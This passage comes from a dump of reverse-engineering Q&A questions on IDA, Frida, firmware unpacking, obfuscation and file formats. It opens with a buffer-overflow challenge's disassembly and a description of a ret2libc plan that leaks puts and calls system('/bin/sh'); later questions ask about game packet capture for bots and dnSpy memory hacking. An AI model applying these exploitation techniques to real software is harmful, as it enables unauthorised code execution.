+ 8048388:   ff 25 ec 9f 04 08       jmp    DWORD PTR ds:0x8049fec
+ 804838e:   66 90                   xchg   ax,ax
+
+08048390 <puts@plt>:
+ 8048390:   ff 25 f0 9f 04 08       jmp    DWORD PTR ds:0x8049ff0
+ 8048396:   66 90                   xchg   ax,ax
+
+08048398 <__gmon_start__@plt>:
+ 8048398:   ff 25 f4 9f 04 08       jmp    DWORD PTR ds:0x8049ff4
+ 804839e:   66 90                   xchg   ax,ax
+
+080483a0 <__libc_start_main@plt>:
+ 80483a0:   ff 25 f8 9f 04 08       jmp    DWORD PTR ds:0x8049ff8
+ 80483a6:   66 90                   xchg   ax,ax
+
+080483a8 <setvbuf@plt>:
+ 80483a8:   ff 25 fc 9f 04 08       jmp    DWORD PTR ds:0x8049ffc
+ 80483ae:   66 90                   xchg   ax,ax
+
+Disassembly of section .text:
+
+080483b0 <_start>:
+ 80483b0:   31 ed                   xor    ebp,ebp
+ 80483b2:   5e                      pop    esi
+ 80483b3:   89 e1                   mov    ecx,esp
+ 80483b5:   83 e4 f0                and    esp,0xfffffff0
+ 80483b8:   50                      push   eax
+ 80483b9:   54                      push   esp
+ 80483ba:   52                      push   edx
+ 80483bb:   68 70 85 04 08          push   0x8048570
+ 80483c0:   68 10 85 04 08          push   0x8048510
+ 80483c5:   51                      push   ecx
+ 80483c6:   56                      push   esi
+ 80483c7:   68 ab 84 04 08          push   0x80484ab
+ 80483cc:   e8 cf ff ff ff          call   80483a0 <__libc_start_main@plt>
+ 80483d1:   f4                      hlt    
+ 80483d2:   66 90                   xchg   ax,ax
+ 80483d4:   66 90                   xchg   ax,ax
+ 80483d6:   66 90                   xchg   ax,ax
+ 80483d8:   66 90                   xchg   ax,ax
+ 80483da:   66 90                   xchg   ax,ax
+ 80483dc:   66 90                   xchg   ax,ax
+ 80483de:   66 90                   xchg   ax,ax
+
+080483e0 <__x86.get_pc_thunk.bx>:
+ 80483e0:   8b 1c 24                mov    ebx,DWORD PTR [esp]
+ 80483e3:   c3                      ret    
+ 80483e4:   66 90                   xchg   ax,ax
+ 80483e6:   66 90                   xchg   ax,ax
+ 80483e8:   66 90                   xchg   ax,ax
+ 80483ea:   66 90                   xchg   ax,ax
+ 80483ec:   66 90                   xchg   ax,ax
+ 80483ee:   66 90                   xchg   ax,ax
+
+080483f0 <deregister_tm_clones>:
+ 80483f0:   b8 0f a0 04 08          mov    eax,0x804a00f
+ 80483f5:   2d 0c a0 04 08          sub    eax,0x804a00c
+ 80483fa:   83 f8 06                cmp    eax,0x6
+ 80483fd:   76 1a                   jbe    8048419 <deregister_tm_clones+0x29>
+ 80483ff:   b8 00 00 00 00          mov    eax,0x0
+ 8048404:   85 c0                   test   eax,eax
+ 8048406:   74 11                   je     8048419 <deregister_tm_clones+0x29>
+ 8048408:   55                      push   ebp
+ 8048409:   89 e5                   mov    ebp,esp
+ 804840b:   83 ec 14                sub    esp,0x14
+ 804840e:   68 0c a0 04 08          push   0x804a00c
+ 8048413:   ff d0                   call   eax
+ 8048415:   83 c4 10                add    esp,0x10
+ 8048418:   c9                      leave  
+ 8048419:   f3 c3                   repz ret 
+ 804841b:   90                      nop
+ 804841c:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]
+
+08048420 <register_tm_clones>:
+ 8048420:   b8 0c a0 04 08          mov    eax,0x804a00c
+ 8048425:   2d 0c a0 04 08          sub    eax,0x804a00c
+ 804842a:   c1 f8 02                sar    eax,0x2
+ 804842d:   89 c2                   mov    edx,eax
+ 804842f:   c1 ea 1f                shr    edx,0x1f
+ 8048432:   01 d0                   add    eax,edx
+ 8048434:   d1 f8                   sar    eax,1
+ 8048436:   74 1b                   je     8048453 <register_tm_clones+0x33>
+ 8048438:   ba 00 00 00 00          mov    edx,0x0
+ 804843d:   85 d2                   test   edx,edx
+ 804843f:   74 12                   je     8048453 <register_tm_clones+0x33>
+ 8048441:   55                      push   ebp
+ 8048442:   89 e5                   mov    ebp,esp
+ 8048444:   83 ec 10                sub    esp,0x10
+ 8048447:   50                      push   eax
+ 8048448:   68 0c a0 04 08          push   0x804a00c
+ 804844d:   ff d2                   call   edx
+ 804844f:   83 c4 10                add    esp,0x10
+ 8048452:   c9                      leave  
+ 8048453:   f3 c3                   repz ret 
+ 8048455:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]
+ 8048459:   8d bc 27 00 00 00 00    lea    edi,[edi+eiz*1+0x0]
+
+08048460 <__do_global_dtors_aux>:
+ 8048460:   80 3d 10 a0 04 08 00    cmp    BYTE PTR ds:0x804a010,0x0
+ 8048467:   75 13                   jne    804847c <__do_global_dtors_aux+0x1c>
+ 8048469:   55                      push   ebp
+ 804846a:   89 e5                   mov    ebp,esp
+ 804846c:   83 ec 08                sub    esp,0x8
+ 804846f:   e8 7c ff ff ff          call   80483f0 <deregister_tm_clones>
+ 8048474:   c6 05 10 a0 04 08 01    mov    BYTE PTR ds:0x804a010,0x1
+ 804847b:   c9                      leave  
+ 804847c:   f3 c3                   repz ret 
+ 804847e:   66 90                   xchg   ax,ax
+
+08048480 <frame_dummy>:
+ 8048480:   b8 f8 9e 04 08          mov    eax,0x8049ef8
+ 8048485:   8b 10                   mov    edx,DWORD PTR [eax]
+ 8048487:   85 d2                   test   edx,edx
+ 8048489:   75 05                   jne    8048490 <frame_dummy+0x10>
+ 804848b:   eb 93                   jmp    8048420 <register_tm_clones>
+ 804848d:   8d 76 00                lea    esi,[esi+0x0]
+ 8048490:   ba 00 00 00 00          mov    edx,0x0
+ 8048495:   85 d2                   test   edx,edx
+ 8048497:   74 f2                   je     804848b <frame_dummy+0xb>
+ 8048499:   55                      push   ebp
+ 804849a:   89 e5                   mov    ebp,esp
+ 804849c:   83 ec 14                sub    esp,0x14
+ 804849f:   50                      push   eax
+ 80484a0:   ff d2                   call   edx
+ 80484a2:   83 c4 10                add    esp,0x10
+ 80484a5:   c9                      leave  
+ 80484a6:   e9 75 ff ff ff          jmp    8048420 <register_tm_clones>
+
+080484ab <main>:
+ 80484ab:   55                      push   ebp
+ 80484ac:   89 e5                   mov    ebp,esp
+ 80484ae:   83 ec 28                sub    esp,0x28
+ 80484b1:   a1 08 a0 04 08          mov    eax,ds:0x804a008
+ 80484b6:   3d 39 05 00 00          cmp    eax,0x539
+ 80484bb:   74 07                   je     80484c4 <main+0x19>
+ 80484bd:   6a 01                   push   0x1
+ 80484bf:   e8 c4 fe ff ff          call   8048388 <_exit@plt>
+ 80484c4:   a1 08 a0 04 08          mov    eax,ds:0x804a008
+ 80484c9:   83 c0 01                add    eax,0x1
+ 80484cc:   a3 08 a0 04 08          mov    ds:0x804a008,eax
+ 80484d1:   a1 0c a0 04 08          mov    eax,ds:0x804a00c
+ 80484d6:   6a 00                   push   0x0
+ 80484d8:   6a 02                   push   0x2
+ 80484da:   6a 00                   push   0x0
+ 80484dc:   50                      push   eax
+ 80484dd:   e8 c6 fe ff ff          call   80483a8 <setvbuf@plt>
+ 80484e2:   83 c4 10                add    esp,0x10
+ 80484e5:   68 90 85 04 08          push   0x8048590
+ 80484ea:   e8 a1 fe ff ff          call   8048390 <puts@plt>
+ 80484ef:   83 c4 04                add    esp,0x4
+ 80484f2:   6a 40                   push   0x40
+ 80484f4:   8d 45 d8                lea    eax,[ebp-0x28]
+ 80484f7:   50                      push   eax
+ 80484f8:   6a 00                   push   0x0
+ 80484fa:   e8 81 fe ff ff          call   8048380 <read@plt>
+ 80484ff:   83 c4 0c                add    esp,0xc
+ 8048502:   90                      nop
+ 8048503:   90                      nop
+ 8048504:   c9                      leave  
+ 8048505:   c3                      ret    
+ 8048506:   66 90                   xchg   ax,ax
+ 8048508:   66 90                   xchg   ax,ax
+ 804850a:   66 90                   xchg   ax,ax
+ 804850c:   66 90                   xchg   ax,ax
+ 804850e:   66 90                   xchg   ax,ax
+
+08048510 <__libc_csu_init>:
+ 8048510:   55                      push   ebp
+ 8048511:   57                      push   edi
+ 8048512:   56                      push   esi
+ 8048513:   53                      push   ebx
+ 8048514:   e8 c7 fe ff ff          call   80483e0 <__x86.get_pc_thunk.bx>
+ 8048519:   81 c3 c3 1a 00 00       add    ebx,0x1ac3
+ 804851f:   83 ec 0c                sub    esp,0xc
+ 8048522:   8b 6c 24 20             mov    ebp,DWORD PTR [esp+0x20]
+ 8048526:   8d b3 18 ff ff ff       lea    esi,[ebx-0xe8]
+ 804852c:   e8 1b fe ff ff          call   804834c <_init>
+ 8048531:   8d 83 14 ff ff ff       lea    eax,[ebx-0xec]
+ 8048537:   29 c6                   sub    esi,eax
+ 8048539:   c1 fe 02                sar    esi,0x2
+ 804853c:   85 f6                   test   esi,esi
+ 804853e:   74 25                   je     8048565 <__libc_csu_init+0x55>
+ 8048540:   31 ff                   xor    edi,edi
+ 8048542:   8d b6 00 00 00 00       lea    esi,[esi+0x0]
+ 8048548:   83 ec 04                sub    esp,0x4
+ 804854b:   ff 74 24 2c             push   DWORD PTR [esp+0x2c]
+ 804854f:   ff 74 24 2c             push   DWORD PTR [esp+0x2c]
+ 8048553:   55                      push   ebp
+ 8048554:   ff 94 bb 14 ff ff ff    call   DWORD PTR [ebx+edi*4-0xec]
+ 804855b:   83 c7 01                add    edi,0x1
+ 804855e:   83 c4 10                add    esp,0x10
+ 8048561:   39 f7                   cmp    edi,esi
+ 8048563:   75 e3                   jne    8048548 <__libc_csu_init+0x38>
+ 8048565:   83 c4 0c                add    esp,0xc
+ 8048568:   5b                      pop    ebx
+ 8048569:   5e                      pop    esi
+ 804856a:   5f                      pop    edi
+ 804856b:   5d                      pop    ebp
+ 804856c:   c3                      ret    
+ 804856d:   8d 76 00                lea    esi,[esi+0x0]
+
+08048570 <__libc_csu_fini>:
+ 8048570:   f3 c3                   repz ret 
+
+Disassembly of section .fini:
+
+08048574 <_fini>:
+ 8048574:   53                      push   ebx
+ 8048575:   83 ec 08                sub    esp,0x8
+ 8048578:   e8 63 fe ff ff          call   80483e0 <__x86.get_pc_thunk.bx>
+ 804857d:   81 c3 5f 1a 00 00       add    ebx,0x1a5f
+ 8048583:   83 c4 08                add    esp,0x8
+ 8048586:   5b                      pop    ebx
+ 8048587:   c3                      ret    
+
+ +I can see that there is a buffer overflow that could be exploited inside main() function and I tried to exploit it using some of the techniques I know: execute code on stack, ret2libc, ropgadget but none of them worked. As you can see the NX is enabled, the binary is dynamically linked so there are only 79 ROPgadgets, and because of ASLR being turned on I cannot use retlibc. + +I tried ret2libc by crafting the input string so that it jumped to puts() function to print out the puts() address inside the memory in order to calculate the base of libc, after that I had to return to <_start> to inject the exploit string, with the address of system() function and '/bin/sh' string in memory. + +It could have been a ideal plan but you can see that at address 0x080484b6 in main the program compares eax, which is loaded with the value in 0x0804a008, to 0x539 to decide to continue. When I came back from puts() function after printing out the address of puts(), that value in 0x0804a008 had been increased by one, no longer be 0x539 so the program exited. + +To fix that, I tried jumping to _read() function after returning from puts() to edit the value hold by 0x0804a008 but another problem arose: The read() function only read 64 bytes into the buffer so the length for me to inject addresses was only 20 bytes. + +I'm getting stucked. I've been searching for days but haven't found any case that being close to mine. Can you give me some advices on how should I get this done? +" +"['ida', 'disassembly']"," Title: Strange function in Disassembly (IDA)Body: I was reversing one executable in IDA and found out the function with this structure: + +
.text:0058A6E0 sub_58A6E0      proc near               
+.text:0058A6E0
+.text:0058A6E0 var_4           = dword ptr -4
+.text:0058A6E0
+.text:0058A6E0                 push    ecx
+.text:0058A6E1                 mov     ecx, ds:SHAppBarMessage
+.text:0058A6E7                 mov     eax, offset loc_612BC0
+.text:0058A6EC                 or      eax, offset loc_612BBA
+.text:0058A6F1                 or      eax, offset loc_612BB4
+.text:0058A6F6                 or      eax, offset loc_612BAE
+.text:0058A6FB                 or      eax, ecx
+.text:0058A6FD                 mov     ecx, ds:ShellExecuteW
+.text:0058A703                 or      eax, ecx
+.text:0058A705                 mov     ecx, ds:SHGetFileInfoW
+.text:0058A70B                 or      eax, ecx
+.text:0058A70D                 mov     ecx, ds:VariantInit
+.text:0058A713                 or      eax, ecx
+.text:0058A715                 mov     ecx, ds:VariantClear
+.text:0058A71B                 or      eax, ecx
+.text:0058A71D                 mov     ecx, ds:VariantCopy
+.text:0058A723                 or      eax, ecx
+.text:0058A725                 mov     ecx, ds:VariantCopyInd
+.text:0058A72B                 or      eax, ecx
+.text:0058A72D                 mov     ecx, ds:VariantChangeType
+...
+
+Lots of different functions.
+
+...
+.text:0058B8B8                 or      eax, ecx
+.text:0058B8BA                 mov     ecx, ds:RegCloseKey
+.text:0058B8C0                 or      eax, ecx
+.text:0058B8C2                 mov     ecx, ds:RegOpenKeyExW
+.text:0058B8C8                 or      eax, ecx
+.text:0058B8CA                 mov     ecx, ds:RegQueryValueExW
+.text:0058B8D0                 or      eax, ecx
+.text:0058B8D2                 mov     ecx, dword_617AC4
+.text:0058B8D8                 or      eax, offset loc_6129F8
+...
+Repeating simillar stuff
+...
+.text:0058B8F6                 or      eax, offset loc_6129D4
+.text:0058B8FB                 or      eax, ecx
+.text:0058B8FD                 mov     ecx, [esp+4+var_4]
+.text:0058B901                 or      eax, offset loc_6129CE
+.text:0058B906                 or      eax, offset loc_6129C8
+...
+Repeating simillar stuff
+...
+.text:0058B938                 or      eax, offset loc_61298C
+.text:0058B93D                 or      eax, offset loc_612986
+.text:0058B942                 or      eax, ecx
+.text:0058B944                 pop     ecx
+.text:0058B945                 retn
+.text:0058B945 sub_58A6E0      endp
+
+ +I have tried to find what it is and why it was used, but I found literally nothing about it. It's not the first time I see similar function, so I really want to know what is it. It doesn't make any sense for me and simply abusing the imports. Thank you. + +UPD: There is a hex values for some part of this function. + +
C1 8B 0D 20 65 61 00 0B  C1 8B 0D 1C 65 61 00 0B
+C1 8B 0D 18 65 61 00 0B  C1 8B 0D 14 65 61 00 0B
+C1 8B 0D 10 65 61 00 0B  C1 8B 0D 0C 65 61 00 0B
+C1 8B 0D 08 65 61 00 0B  C1 8B 0D 04 65 61 00 0B
+C1 8B 0D 00 65 61 00 0B  C1 8B 0D FC 64 61 00 0B
+C1 8B 0D F8 64 61 00 0B  C1 8B 0D F4 64 61 00 0B
+C1 8B 0D F0 64 61 00 0B  C1 8B 0D EC 64 61 00 0B
+C1 8B 0D E8 64 61 00 0B  C1 8B 0D E4 64 61 00 0B
+C1 8B 0D E0 64 61 00 0B  C1 8B 0D DC 64 61 00 0B
+C1 8B 0D D8 64 61 00 0B  C1 8B 0D D4 64 61 00 0B
+C1 8B 0D D0 64 61 00 0B  C1 8B 0D CC 64 61 00 0B
+C1 8B 0D C8 64 61 00 0B  C1 8B 0D C4 64 61 00 0B
+C1 8B 0D C0 64 61 00 0B  C1 8B 0D BC 64 61 00 0B
+C1 8B 0D B8 64 61 00 0B  C1 8B 0D B4 64 61 00 0B
+C1 8B 0D B0 64 61 00 0B  C1 8B 0D AC 64 61 00 0B
+C1 8B 0D A8 64 61 00 0B  C1 8B 0D A4 64 61 00 0B
+
+" +['patching']," Title: tutorial of run-time hacking with DnspyBody: Is anybody have good resource or tutorial of run-time hacking or memory hacking with .NET Applications with dnspy. +" +"['ida', 'decompilation', 'obfuscation', 'decompiler']"," Title: Stack-pointer analysis failedBody: I'm testing my toy obfuscating C compiler against IDA's decompiler, but IDA refuses always functions (then the decompilation is not possible). For example, at one of lowest-levels of obfuscating, a function likes + + + +
int foo(int i) {
+  return i;
+}
+
+ +is compiled to + + + +
0x0         40 55                          push rbp
+0x2         48 89 e5                       mov rbp, rsp
+0x5         41 56                          push r14
+0x7         41 57                          push r15
+0x9         48 83 ec 10                    sub rsp, 0x10
+0xd         40 89 bc 24 0c 00 00 00        mov [rsp+0xc], edi
+0x15        48 8d 05 e4 ff ff ff           lea rax, [rip-0x1c]
+0x1c        44 8b bc 24 0c 00 00 00        mov r15d, [rsp+0xc]
+0x24        44 8b b4 24 0c 00 00 00        mov r14d, [rsp+0xc]
+0x2c        45 0f af fe                    imul r15d, r14d
+0x30        44 89 f9                       mov ecx, r15d
+0x33        83 c1 01                       add ecx, 0x1
+0x36        44 8b b4 24 0c 00 00 00        mov r14d, [rsp+0xc]
+0x3e        45 0f af f7                    imul r14d, r15d
+0x42        48 63 c9                       movsxd rcx, ecx
+0x45        49 63 d6                       movsxd rdx, r14d
+0x48        48 39 d1                       cmp rcx, rdx
+0x4b        0f 95 c1                       setnz cl
+0x4e        40 84 c9                       test cl, cl
+0x51        75 1c                          jnz 0x1c
+0x53        44 8b bc 24 0c 00 00 00        mov r15d, [rsp+0xc]
+0x5b        49 63 cf                       movsxd rcx, r15d
+0x5e        44 8b bc 24 0c 00 00 00        mov r15d, [rsp+0xc]
+0x66        44 89 ff                       mov edi, r15d
+0x69        48 89 c6                       mov rsi, rax
+0x6c        40 ff d1                       call rcx
+0x6f        44 8b bc 24 0c 00 00 00        mov r15d, [rsp+0xc]
+0x77        44 89 f8                       mov eax, r15d
+0x7a        48 83 c4 10                    add rsp, 0x10
+0x7e        41 5f                          pop r15
+0x80        41 5e                          pop r14
+0x82        40 5d                          pop rbp
+0x84        c3                             ret
+
+ +I still don't understand why the stack frame analysis can be failed for this case. There are only two groups of instructions modifying rsp, the first 5: + + + +
0x0         40 55                          push rbp
+0x2         48 89 e5                       mov rbp, rsp
+0x5         41 56                          push r14
+0x7         41 57                          push r15
+0x9         48 83 ec 10                    sub rsp, 0x10
+
+ +and the last 5: + + + +
0x7a        48 83 c4 10                    add rsp, 0x10
+0x7e        41 5f                          pop r15
+0x80        41 5e                          pop r14
+0x82        40 5d                          pop rbp
+0x84        c3                             ret
+
+ +and they actually make the stack pointer balanced. + +How can I fix that? + +Update: @chentiangemalc suggests that it comes from call rcx, then I changed the obfuscating option to not generate such a call, and removed almost all other obfuscating options, following is an even simpler result + + + +
0x0         40 55                          push rbp
+0x2         48 89 e5                       mov rbp, rsp
+0x5         40 53                          push rbx
+0x7         48 83 ec 08                    sub rsp, 0x8
+0xb         c1 ef 00                       shr edi, 0x0
+0xe         89 f8                          mov eax, edi
+0x10        81 c8 33 19 d0 39              or eax, 0x39d01933
+0x16        89 f9                          mov ecx, edi
+0x18        81 e1 33 19 d0 39              and ecx, 0x39d01933
+0x1e        0f af c1                       imul eax, ecx
+0x21        40 b9 33 19 d0 39              mov ecx, 0x39d01933
+0x27        89 ca                          mov edx, ecx
+0x29        f7 d2                          not edx
+0x2b        89 fb                          mov ebx, edi
+0x2d        21 d3                          and ebx, edx
+0x2f        f7 d7                          not edi
+0x31        21 f9                          and ecx, edi
+0x33        0f af d9                       imul ebx, ecx
+0x36        01 d8                          add eax, ebx
+0x38        81 c0 31 d6 93 7f              add eax, 0x7f93d631
+0x3e        40 b9 fb 89 99 8c              mov ecx, 0x8c9989fb
+0x44        0f af c1                       imul eax, ecx
+0x47        81 c0 f5 c4 23 fd              add eax, -0x2dc3b0b
+0x4d        48 8d 8c 24 04 00 00 00        lea rcx, [rsp+0x4]
+0x55        40 89 01                       mov [rcx], eax
+0x58        48 8d 84 24 04 00 00 00        lea rax, [rsp+0x4]
+0x60        40 8b 00                       mov eax, [rax]
+0x63        48 83 c4 08                    add rsp, 0x8
+0x67        40 5b                          pop rbx
+0x69        40 5d                          pop rbp
+0x6b        c3                             ret
+
+ +but IDA complains always sp-analysis failed ((I've put the ELF here). + +Other tools like Ghidra or JEB Decompiler happily recognizes the function, though. + +Update: the method of @chentiangemalc works perfectly. for the example above, unfortunately there are cases where IDA is not happy (sample: ELF). +" +"['android', 'frida']"," Title: Using Frida for early and late instrumentationBody: I am trying to hook functions with Frida where one .so file (x.so) is loaded early and another .so file (z.so) is loaded slightly later, after some processing is done by the application. + +This is what I want to do + +
    +
  1. Start Frida early in order to hook the early functions
  2. +
  3. Start Frida late in order to hook the late functions
  4. +
+ +So if I used Frida script to start the application, I can hook the early functions but Frida will show an error that it cannot find the late functions (unable to find export). + +Currently, what I did was use one Frida script to start the application and then used another Frida script to attach to the already running process to hook the late function. + +Starts Frida early + +
frida -U -f com.myapplication.file -l frida_script.js --no-pause
+
+ +Attach Frida to running process + +
frida -U -l frida_script2.js -p 4444
+
+ +Are there better ways to perform early and late hooking in one script such that some hooks are started early and some hooks can start once the .so file is loaded? +" +"['ollydbg', 'x64dbg']"," Title: Dump array of char* ASCII text to file? (ollydbg or x32dbg)Body: This question is similar to: List arrays (de-reference pointers) in Ollydbg + +I have an array of pointers that point to character arrays. I followed the above link and can view the ASCII values from the dereferenced pointers, but I would like to be able to dump it to a file. The only options I see are: + +
    +
  1. Binary copy (these are the addresses, rather than values).
  2. +
  3. Copy as Table (copies all the data...not needed)
  4. +
+ +Any idea? I use both ollydbg and x32dbg so either is fine for a solution +" +"['ida', 'firmware', 'arm', 'firmware-analysis', 'binwalk']"," Title: How to proceed after running binwalk on this firmware?Body: I'm trying to access the firmware from the .bin in this archive: http://mydjiflight.dji.com/file/links/OSMO_ACTION_V17020_20191203_ZIP + +So far I've used binwalk and gotten the following output: + +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+333646        0x5174E         Certificate in DER format (x509 v3), header length: 4, sequence length: 518
+1927791       0x1D6A6F        Certificate in DER format (x509 v3), header length: 4, sequence length: 1424
+1927795       0x1D6A73        Certificate in DER format (x509 v3), header length: 4, sequence length: 1436
+5310901       0x5109B5        Unix path: /var/lib/jenkins/workspace
+5310945       0x5109E1        Unix path: /rtos/h2/dji/gui/ew/app/#
+5784963       0x584583        Unix path: /var/lib/jenkins/workspace
+5785007       0x5845AF        Unix path: /rtos/h2/dji/gui/ew/app/#
+7769572       0x768DE4        MySQL MISAM index file Version 5
+7962227       0x797E73        MySQL MISAM index file Version 5
+8388145       0x7FFE31        MySQL ISAM index file Version 8
+9291993       0x8DC8D9        MySQL ISAM index file Version 8
+11240978      0xAB8612        MySQL ISAM index file Version 1
+11431188      0xAE6D14        Unix path: /var/lib/jenkins/workspace
+11546615      0xB02FF7        Unix path: /var/lib/jenkins/workspace
+11723142      0xB2E186        Unix path: /1/4/5/6]
+11747234      0xB33FA2        SHA256 hash constants, little endian
+12234577      0xBAAF51        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#""8
+18849863      0x11FA047       Unix path: /H/I/R/S/X+Y+
+19246275      0x125ACC3       Unix path: /N/P/Q/U/V/X/Y/
+19557133      0x12A6B0D       Unix path: /I/L/O/T\
+20332025      0x1363DF9       Unix path: /A/D/E/H/I/~S
+20368127      0x136CAFF       Unix path: /L/O/P/ZJ
+20790576      0x13D3D30       Unix path: /Q/S/T/X/Y/
+22060039      0x1509C07       Certificate in DER format (x509 v3), header length: 4, sequence length: 1042
+22060800      0x1509F00       Certificate in DER format (x509 v3), header length: 4, sequence length: 1120
+22061549      0x150A1ED       Certificate in DER format (x509 v3), header length: 4, sequence length: 1146
+22062317      0x150A4ED       Certificate in DER format (x509 v3), header length: 4, sequence length: 1181
+22062989      0x150A78D       Certificate in DER format (x509 v3), header length: 4, sequence length: 1194
+22681349      0x15A1705       JPEG image data, JFIF standard 1.01
+22825947      0x15C4BDB       MySQL ISAM index file Version 4
+23840137      0x16BC589       SHA256 hash constants, little endian
+26045398      0x18D6BD6       lzop compressed data,900,
+26862957      0x199E56D       LZO compressed data
+26939728      0x19B1150       ELF, 64-bit LSB no file type,
+27467411      0x1A31E93       Unix path: /sysdeps/ieee754/dbl-64/mpexp.c8
+27868566      0x1A93D96       Executable script, shebang: ""/bin/sh""
+27893779      0x1A9A013       ELF, 64-bit LSB processor-specific,
+28661360      0x1B55670       Base64 standard index table
+28883640      0x1B8BAB8       ELF, 64-bit LSB processor-specific,
+29837774      0x1C749CE       lzop compressed data,800, LZO1X-1, os: MS-DOS
+29877499      0x1C7E4FB       eCos RTOS string reference: ""ecosW""
+29889527      0x1C813F7       HTML document header
+29916857      0x1C87EB9       xz compressed data
+30065108      0x1CAC1D4       Copyright string: ""copyright (C) 1996 okir@monad.swb.de).""
+30807857      0x1D61731       Executable script, shebang: ""/bin/sh""
+31158507      0x1DB70EB       Unix path: /Min/Max/Avg/Cnt): olA/%u/3
+31299086      0x1DD960E       Unix path: /home/dji/Documents/projects/camera_h2_linux_sdk/
+31922164      0x1E717F4       ELF, 64-bit LSB processor-specific,
+31924192      0x1E71FE0       Executable script, shebang: ""/bin/sh""
+31998874      0x1E8439A       Unix path: /usb/gadget/udc/a4
+32010492      0x1E870FC       ELF, 64-bit LSB no file type,
+32144366      0x1EA7BEE       ELF, 64-bit LSB no file type,
+32266556      0x1EC593C       SHA256 hash constants, little endian
+32932163      0x1F68143       Copyright string: ""Copyright (C) 0""
+33074794      0x1F8AE6A       Executable script, shebang: ""/bin/sh""
+33130836      0x1F98954       Executable script, shebang: ""/bin/sh""
+33515696      0x1FF68B0       Copyright string: ""Copyright (C) 2009-2014 Free Software Foundation, Inc.""
+33516339      0x1FF6B33       Unix path: /install/share/gcc-4.9.2/f
+33572727      0x2004777       ELF, 64-bit LSB processor-specific,
+34161574      0x20943A6       Unix path: /H2_linux_merge/output.oem/AC101/host/usr/bin/ccachen
+34181264      0x2099090       SHA256 hash constants, little endian
+34321478      0x20BB446       Executable script, shebang: ""/bin/sh""
+35104099      0x217A563       ELF, 64-bit LSB processor-specific,
+35457510      0x21D09E6       ELF, 64-bit LSB no file type,
+35713684      0x220F294       ELF, 64-bit LSB no file type,
+36000342      0x2255256       HTML document footer
+36254694      0x22933E6       Executable script, shebang: ""/bin/sh""
+36356499      0x22AC193       Executable script, shebang: ""/bin/sh""
+36356656      0x22AC230       ELF, 64-bit LSB processor-specific,
+37963842      0x2434842       Executable script, shebang: ""/bin/sh""
+38068731      0x244E1FB       ELF, 64-bit LSB processor-specific,
+38141809      0x245FF71       Executable script, shebang: ""/bin/sh""
+38141949      0x245FFFD       ELF, 64-bit LSB processor-specific,
+38227525      0x2474E45       ELF, 64-bit LSB processor-specific,
+
+ +This is a bit tricky, as I didn't initially know how to proceed. However, I first tried extracting the ""xz compressed data"" section using dd. I then tried to use unxz to extract the data, but it says that the xz is corrupt. + +Next, I opened this xz inside of Bless hex editor and saw that it has the magic values: .7zXZ.YZ. I then researched and found out that .7zXZ is the start of the xz payload and YZ marks the end of it. So, if I'm not mistaken, this is a xz payload with only 1 byte in it, which seems to be a false alarm or maybe even a form of anti-reversing in this case. Moving on... + +My next thought was to extract data using dd starting at the eCos RTOS reference. I opened the data in Bless to verify the magic value. Finally, I've opened it in IDA Pro but it does not parse the data correctly. I've tried MetaPC, ARM Little Endian (for which it asks bitness and I chose 32 bit and 64 bit). The only other options I can think of here are to try the LZ compressed areas but those are also commonly false positives. Lastly, I tried to extract and open the ELFs using 010 Editor and IDA Pro. In IDA, I get ""The ELF header entry size is invalid (6096, expected 64). At this point, I could use some guidance from a more experienced firmware reverser. + +Do I seem to be on the right track? What other steps would you take to locate the firmware goodies? Initially, these artifacts are all new to me. +" +['x86']," Title: I don't understand the use of mov eax,ds:0x404004 and the NOP slide in this code I madeBody: + +Hi guys, I'm just practising the difference between global and local variables and how they are represented in x86 assembly. I just don't understand the use of the ds segment register and the NOP slide at the end (nop and xchg ax, ax are the same thing). + +Thanks for your help! +" +['file-format']," Title: Reproducing video formatBody: I received a promotional video screen with a USB interface. It comes with a couple example videos, one of which is here: https://drive.google.com/file/d/1B-wSURAgK-ePrfpKFM5nYbNhQ5mD-Ii2/view?usp=sharing md5sum 506a6c478b0874262802e8ae7d718c59 + +I'd love to figure out how to generate this file format, but I don't have much experience in reverse engineering. It seems to be a mostly normal AVI file, and can play in VLC just fine. + +

What I've got so far

+ +I've been poking around with ffprobe, in a hex editor, and RiffPad, and found the following things: + + + +Any help with what to do next would be very appreciated. +" +"['debugging', 'networking', 'game-hacking']"," Title: How to capture specific data packets sent in an online game?Body: I am playing an online MMORPG game, based on player versus player idea. In this game, characters have skills. I want to capture the sent packet, when a specific skill is pressed on keyboard or etc. Basically, I want to analyze byte flow after a specific event. Which tools can I utilize to achieve this? + +I tried Wireshark, but as there are lots of packets are being sent in an arbitrary instance, I couldn't observe which one was sent on my specific event. + +p.s. As an additional info, the game has illegal bot softwares. I want to understand how they developed the bot. +" +"['decompilation', 'c++', 'callstack']"," Title: VC 6 C++ Exception handling, nTryBlocks=0, pTryBlockMap=0 , how?why?Body: I'm trying to decompile an old binary (about 20 year old). + +The program uses exceptions. + +I found some FuncInfo but they do not contain any pTryBlockMap and nTryBlocks is 0. + +I've tried many options on the VC6 compiler but I could not get this result. + +The stack doesn't look like a regular stack: + +
...
+SEH handler
+scope table
+Try Level
+saved EBP
+return address
+
+ +But it looks like: + +
...
+SEH handler
+Try level
+return address
+
+ +Do you have any idea how to achieve this and why it would have been like that ? + +SEH Handler is : + +
MOV        EAX,DAT_00412c90
+JMP        ___CxxFrameHandler
+
+ +FuncInfo@00412c90 + +
19930520
+00000005
+00412cb0
+00000000
+00000000
+00000000
+00000000
+00000000
+
+" +"['binary-analysis', 'binary']"," Title: Is there a standard documentation format for file formats?Body: I'm analysing an undocumented file format. Is there a standard documentation format for file formats I can write up? Something of this level of complexity and detail? What I have in my mind is, + +
!Global: Encoded in ASCII (unless specified otherwise)
+Address: 0x12345670 - metadata, until the delimiter of ""|""
+Address: 0x12345670+, after delimiter of ""|"" - media container
+...
+Address: 0x23456780 - 32-bit pointer to the splash image
+etc etc
+
